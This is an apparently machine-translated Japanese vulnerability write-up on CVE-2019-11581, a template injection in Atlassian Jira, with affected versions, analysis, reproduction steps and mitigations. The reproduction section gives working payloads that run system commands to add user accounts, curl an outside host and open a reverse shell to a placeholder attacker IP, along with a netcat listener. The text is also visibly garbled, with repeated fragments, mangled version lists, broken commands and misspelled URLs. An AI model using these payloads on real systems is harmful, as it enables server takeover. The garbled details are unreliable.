Atlassian Jira ServerとJira Data Centerには、サーバー側のテンプレートインジェクションの脆弱性があります。この脆弱性をうまく活用する攻撃者は、JIRAサーバーまたはJIRAデータセンターの影響を受けたバージョンを実行しているサーバー上で任意のコマンドを実行し、サーバーの権限を取得し、ネットワーク資産を真剣に危険にさらすことができます。

0x01 CVE番号

CVE-2019-11581

0x02脆弱性ハザードレベル

高リスク

0x03脆弱性衝撃範囲

Atlassianjira 4.4.xatlassianjira 5.x.xatlassianjira 6.x.xatlassianjira 7.0.x

Atlassianjira 7.1.x

Atlassianjira 7.2.xatlassianjira 7.3.xatlassianjira 7.4.xatlassianjira 7.5.5.xatlassianjira 7.6.x 7.6.14.x 7.6.14.xatlassianjira 7.8.xatlassianjira 7.9.xatlassianjira 7.10.xatlasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslass 7.11.xatlassianjira 7.12.xatlassianjira 7.13.x 7.13.5atlassianjira 8.0.x 8.0.3atlassianjira 8.1.x 8.1.2atlassianjira 8.2.x 8.2.33

0x04脆弱性分析

1。使用率の前提条件:最初のタイプは不正なコード実行の使用率です:JiraはSMTPサーバーを構成し、「連絡先Webサイト管理者フォーム」機能を有効にする必要があります。 (実際、Webインターフェイス設計から、SMTPサーバーが構成されていない場合、この機能を有効にすることはできません

2番目の利用シナリオは、JIRA管理者の許可を取得することであり、利用条件を満たすのは困難です。ここでは、主に最初の状況を分析します。その理由は、Atlassian-Jira/web-inf/classs/com/aTlassian/jira/coms/action/contactAdministratorsが被験者(メールの件名)をフィルタリングしないため、ユーザーによる受信電子メール被験者はテンプレート(テンプレート)の指示として実行されます。どちらの場合でも、この脆弱性をうまく活用する攻撃者は、JIRAサーバーまたはJIRAデータセンターの影響を受けたバージョンを実行しているシステム上の任意のコマンドを実行できます。

2。URLの脆弱性の脆弱性を検証する次の2つの方法:最初のタイプは管理者アカウント許可を必要としません:http://10.206.1.8:8080/Secure/ContactAdministrators!default.jspa

xfunq33zup17902.png

2番目のタイプには、管理者アカウント許可が必要です:http://10.206.1.8:8080/secure/admin/sendbulkmail!default.jspa

ri522toabmf7903.png

次の実行バージョン番号が発生した場合、脆弱性があります。

0x05脆弱性の再発

1。脆弱性の条件については、管理者部門に連絡してください(バックエンド管理者アカウントとパスワードを知る必要があります)

2。環境の準備:Atlassian Jirav7.13.0(このバージョンを例にとると、このバージョンには脆弱性があります)ダウンロードアドレス:

https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe

インストールプロセスは説明されなくなりました(プロンプトによると、最初にアカウントを公式に登録してから、試用シリアル番号を取得してインストールします)。電子メールの構成ステップが選択された後(デフォルトは)、バックグラウンド構成を入力することに注意してください。

3.ログインしていないときに脆弱性が存在することを確認するには、次のURLにアクセスします(管理者アカウントの許可は不要です)。

http://10.206.1.83:8080/secure/contactAdministrators!default.jspa

プロンプトが次の場合、これは脆弱性を構成なしでトリガーできないことを意味します。

devpcvn03jq7904.pngバックグラウンドにログインして、管理者に連絡してください。構成アドレスは次のとおりです。

http://10.10.20.116:8080/secure/admin/editapplicationproperties!default.jspa

デフォルトはオフです。メッセージをオンにする前に、メッセージを送信するようにSTMPを構成する必要があります。 STMPが構成されている場合、接続をテストできます。サーバーはポート25を開く必要があります。そうしないと、メールを送信できません。次の図は、それが正常に有効になっていることを示しています。

arl1mzk4q5q7905.png4。脆弱性アクセスは、ログインが進行中でないときにトリガーされます

http://10.206.1.83:8080/secure/contactAdministrators!default.jspa

ktqjuqeorvs7909.png被験者のペイロードを入力します。ここの環境はWindowsマシンであるため、アカウントを追加して観察できることに注意してください。 Linuxは、リバウンドシェルなどのコードを使用できます。とにかく、実行するコマンドに置き換えられます。

$ i18n.getclass()。forname( 'java.lang.runtime')。getMethod( 'getruntime'、null).invoke(null、null).exec( 'net user bk abc@abc123 /add')。

irj0c44pg1v7915.pngは、電子メールキューに参加したいので、送信後しばらく待つことができます。この時点で、サーバーに移動してネットユーザーを実行して確認し、コマンドを実行して追加したアカウントであることがわかります。

51ofpd3cq1i7920.png

5.管理者アカウントにログインし、脆弱性をトリガーします。管理者アカウントにログインしてから、次のURLにアクセスします。

http://10.206.1.83:8080/secure/admin/sendbulkmail!default.jspa

ペイロードを入力して、次のように、コマンドを実行してアカウント名を追加してください

$ i18n.getClass()。forName( 'java.lang.runtime')。getMethod( 'getRuntime'、null).invoke(null、null).exec( 'net user bk01 abc@abc123 /add')。

2gkejadvakp7922.png

j1tcufxhyga7923.png

Linuxの下で実行可能:

ターゲットJIRAシステム実行可能性POC

$ i18n.getclass()。forname( 'java.lang.runtime')。getMethod( 'getruntime'、null).invoke(null、null).exec( 'curl http://www.baidu.com')。

$ i18n.getClass()。forName( 'java.lang.runtime')。getMethod( 'getruntime'、null).invoke(null、null).exec( 'bash -i/dev/tcp/攻撃者IP/2333 01')。

攻撃者ホストは:NC -LVVP 2333を実行します

0x06脆弱性修正

1。一時的な処分の提案JIRAを時間内にアップグレードできない場合、次の緩和策を講じることができます。

1. http://IP:port/secure/contactAdministratorsへのアクセスを無効にします!default.jspa

2。連絡先のウェブサイト管理者フォーム関数をオフにすると、特定の手順は次のように:です

設定=system=edit settings=[管理者]フォームに連絡して[オフ]を選択し、下部に[更新]をクリックして設定を保存します。

t41k3vox4rd7924.pngEDIT設定

qnjkpltke3l7925.png連絡先Webサイト管理者フォーム機能を閉じます

2。処分の提案1。脆弱性の影響を受けないバージョンにアップグレードします。

2。http://IP:port/secure/admin/sendbulkmail!default.jspaのソースIPへのアクセスを制限します

0x07参照

https://MP.WEIXIN.QQ.COM/S/D2YVSYRZXPZRPCAKMQARSW

https://mp.weixin.qqq.com/s/_tsq9p1pqyszjt2vaxd61a

https://paper.seebug.org/982/

https://www.jiansshu.com/p/ddf1233d333f

https://github.com/jas502n/cve-2019-11581

https://www.jiansshu.com/p/ddf1233d333f

http://byximcx.cn/post-158.html